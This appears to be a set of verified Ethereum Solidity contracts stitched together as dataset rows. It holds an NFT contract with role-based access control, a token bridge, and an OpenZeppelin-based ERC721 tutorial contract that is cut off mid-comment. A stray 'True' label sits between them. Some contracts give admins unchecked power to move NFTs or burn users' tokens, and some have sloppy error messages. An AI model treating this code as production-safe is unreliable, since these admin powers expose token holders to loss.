* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if(!hasRole(role, account)) {
revert(string(abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)));
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
contract DeeperNFT is ERC721, AccessControl{
//events
event TransferOwnership(address indexed oldOwner, address indexed newOwner);
event PropertyChange(uint256 indexed id);
event ChangeNFTInfo(address indexed from, address indexed to, uint256 id);
event AddMinter(address indexed miner);
event RevokeMinter(address indexed miner);
event baseURIChcnage(string uri);
//string[5] token_properties = ['universe','earth','person','blockchain','satashi'];
struct Properties {
uint256 universe;
uint256 earth;
uint256 person;
uint256 blockchain;
uint256 satashi;
}
bytes32 private MINER_ROLE = keccak256(abi.encodePacked("MinterRole"));
bytes32 private ADMIN_ROLE = keccak256(abi.encodePacked("AdminRole"));
string private baseURI;
mapping(uint256=>Properties) public token_properties;
mapping(address=>uint256[]) userClaimIds;
//mapping(uint256=>string) propertyMap;
constructor(string memory name, string memory symbol) ERC721(name, symbol) public{
_setupRole(ADMIN_ROLE, msg.sender);
_setRoleAdmin(MINER_ROLE, ADMIN_ROLE);
}
function setMiner(address minter) external returns(bool){
//Permission check in function grantRole
grantRole(MINER_ROLE, minter);
emit AddMinter(minter);
return true;
}
function revokeMiner(address minter) external returns(bool){
//Permission check in function revokeRole
revokeRole(MINER_ROLE, minter);
emit RevokeMinter(minter);
return true;
}
function transferOwnership(address newAdmin) onlyRole(ADMIN_ROLE) external {
require(newAdmin != address(0), "Deeper: Transfer Permission to zero address");
renounceRole(ADMIN_ROLE, msg.sender);
_setupRole(ADMIN_ROLE, newAdmin);
emit TransferOwnership(msg.sender, newAdmin);
}
function mint(address to, uint256 id) onlyRole(ADMIN_ROLE) external returns(bool){
_mint(to, id);
return true;
}
function claim(address to,
uint256 tokenId,
uint256 universeId,
uint256 earthId,
uint256 personId,
uint256 blockchainId,
uint256 satashiId) public onlyRole(MINER_ROLE) returns (bool) {
_mint(to, tokenId);
Properties memory p;
p.universe = universeId;
p.earth = earthId;
p.person = personId;
p.blockchain = blockchainId;
p.satashi = satashiId;
token_properties[tokenId] = p;
userClaimIds[to].push(tokenId);
return true;
}
function changeProperties(
uint256 id,
uint256 tokenId,
uint256 universeId,
uint256 earthId,
uint256 personId,
uint256 blockchainId,
uint256 satashiId) external onlyRole(ADMIN_ROLE) returns(bool){
require(_exists(tokenId), "Deeper: token already minted");
Properties memory p;
p.universe = universeId;
p.earth = earthId;
p.person = personId;
p.blockchain = blockchainId;
p.satashi = satashiId;
token_properties[tokenId] = p;
emit PropertyChange(id);
return true;
}
//For emergency case. eg: user lost their private key and want to get their Deeper IPO back
function changeNFTInfo(address oldAddress, address newAddress, uint256 id) onlyRole(ADMIN_ROLE) external returns(bool){
require(ownerOf(id) == oldAddress, "Deeper: Try to modify a wrong id");
_burn(id);
_mint(newAddress, id);
emit ChangeNFTInfo(oldAddress, newAddress, id);
return true;
}
function getUserClaimIds(address user) external view returns(uint256[] memory){
return userClaimIds[user];
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function chageBaseURI(string calldata newBaseURI) onlyRole(ADMIN_ROLE) external returns(bool){
baseURI = newBaseURI;
emit baseURIChcnage(newBaseURI);
return true;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
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/**
*Submitted for verification at Etherscan.io on 2021-05-20
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IERC20 {
function mint(address to, uint256 amount) external returns (bool);
function burnFrom(address from, uint256 amount) external returns (bool);
}
contract BridgeAssistB {
address public owner;
IERC20 public TKN;
modifier restricted {
require(msg.sender == owner, "This function is restricted to owner");
_;
}
event Collect(address indexed sender, uint256 amount);
event Dispense(address indexed sender, uint256 amount);
event TransferOwnership(address indexed previousOwner, address indexed newOwner);
function collect(address _sender, uint256 _amount) public restricted returns (bool success) {
TKN.burnFrom(_sender, _amount);
emit Collect(_sender, _amount);
return true;
}
function dispense(address _sender, uint256 _amount) public restricted returns (bool success) {
TKN.mint(_sender, _amount);
emit Dispense(_sender, _amount);
return true;
}
function transferOwnership(address _newOwner) public restricted {
emit TransferOwnership(owner, _newOwner);
owner = _newOwner;
}
constructor(IERC20 _TKN) {
TKN = _TKN;
owner = msg.sender;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-17
*/
// SPDX-License-Identifier: MIT
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
HashLips will not be liable in any way if for the use
of the code. That being said, the code has been tested
to the best of the developers' knowledge to work as intended.
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
